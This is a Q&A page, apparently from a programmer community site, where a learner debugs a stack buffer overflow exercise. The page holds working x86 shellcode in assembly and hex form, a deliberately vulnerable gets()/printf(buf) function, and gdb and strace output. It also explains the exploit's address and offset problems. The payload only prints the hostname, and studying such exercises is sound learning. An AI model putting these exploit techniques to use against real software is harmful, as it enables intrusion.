Welcome to ShenZhenJia Knowledge Sharing Community for programmer and developer-Open, Learning and Share
menu search
person
Welcome To Ask or Share your Answers For Others

Categories

I am trying to learn the basics in buffer overflow so I have written the following code to inject it in a buffer:

//uname(*buf)
"addl $-390, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size (as I only want "Kali" string)   
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

The above code works and has the following bytecode (which also works):

x81xc4x7axfexffxffx89xe3x31xc0x04x7axcdx80xb0x04x31xdbxb3x01x8dx4cx24x41x31xd2x80xc2x05xcdx80xb0x01x31xdbxcdx80

This string, with some NOPs and the address at the end pointing to the stack, is passed to the target program through the vulnerable get() function. When executed it can be seen that the uname syscall is called in the following output from strace command:

(...)
uname({sysname="Linux", nodename="kali", ...}) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

What I don't understand is why when checking the core dump in gdb to see why is throwing a segmentation fault I can't see my bytecode anywhere of the entire stack. Could be that uname is overwriting it? Because in theory there is enough space, 390 bytes. Am I missing something?

Thank you

UPDATE:

The vulnerable function called by main looks like this:

void function() {
    char buf[100];
    gets(buf);
    printf(buf);
}

I have done single stepping debug with gdb and the byte code is placed correctly in the stack but I can't (don't know how) debug instructions executed in the stack.

As can be seen in the output of strace (which indicates which syscalles are called by the binary) the last thing done is the uname call. That's why the theory that it is overwriting the instructions in the stack (the eip when the segmentation fault is triggered is: 0xbffff350).

Here the stack values when just before returning to main (in fact, it will return to the the top of the stack address):

(gdb) x/100bx 0xbffff300
0xbffff2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff300: 0x90    0x90    0x81    0xc4    0x7a    0xfe    0xff    0xff
0xbffff308: 0x89    0xe3    0x31    0xc0    0x04    0x7a    0xcd    0x80
0xbffff310: 0xb0    0x04    0x31    0xdb    0xb3    0x01    0x8d    0x4c
0xbffff318: 0x24    0x41    0x31    0xd2    0x80    0xc2    0x05    0xcd
0xbffff320: 0x80    0xb0    0x01    0x31    0xdb    0xcd    0x80    0x90
0xbffff328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

Also when running the executable and passing the bytecode in gdb (run < byteCodeFile) the segmentation fault is not triggered but an "exited normally" althought it doesn't print anything.

UPDATE2:

Also when running the executable and passing the bytecode in gdb (run < byteCodeFile) the segmentation fault is not triggered but an "exited normally" althought it doesn't print anything.

In fact it is printing something. Sometimes the word "kali" (so it works properly) and other times just a byte or two.

UPDATE3:

The ouput of gdb when started with the core dump is:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbffff350 in ?? ()

It calls uname function and throws segmentation fault.

The ouput of gdb when running the program inside (run < byteCodeFile):

??[Inferior 1 (process 5271) exited normally]

So it prints something and then it exits.

The compilation of the program is done with this options:

gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o program program.c

UPDATE4:

I have changed 390 to 500 to be multiple of 4 as @Jester has pointed in the comments. Now it works in the terminal but not in the gdb and in a new terminal. I think it is related as the fact that they have another memory layout so the address at the end of the bytecode has to be changed.

Questions

1.- When gdb is not used to execute the vulnerable program why the segmentation fault is triggered and why the bytecode is not shown anywhere in the stack when analysing the core dump?

2.- When gdb is used to execute the program (run < byteCodeFile) why it gets different results? Uname will fill the buffer from esp (which is only modified at the begining) always with the same information so write should do it correctly always, isn't it?

See Question&Answers more detail:os

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
thumb_up_alt 0 like thumb_down_alt 0 dislike
161 views
Welcome To Ask or Share your Answers For Others

1 Answer

The final assembly code looks like this (only changed -390 to -500):

//uname(*buf)
"addl $-500, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size    
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

So the final bytecode:

x81xc4x0cxfexffxffx89xe3x31xc0x04x7axcdx80xb0x04x31xdbxb3x01x8dx4cx24x41x31xd2x80xc2x05xcdx80xb0x01x31xdbxcdx80

1.- When gdb is not used to execute the vulnerable program why the segmentation fault is triggered and why the bytecode is not shown anywhere in the stack when analysing the core dump?

It seem that the problem was 390 is not a multiple of 4 so it caused some errors. Also the entire bytecode size was wrong.

2.- When gdb is used to execute the program (run < byteCodeFile) why it gets different results? Uname will fill the buffer from esp (which is only modified at the begining) always with the same information so write should do it correctly always, isn't it?

The address in gdb has to be different from the one used to exploit the program through the terminal as it loads environment varibles. This is better explaint here: Buffer overflow works in gdb but not without it


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
thumb_up_alt 0 like thumb_down_alt 0 dislike
Welcome to ShenZhenJia Knowledge Sharing Community for programmer and developer-Open, Learning and Share
...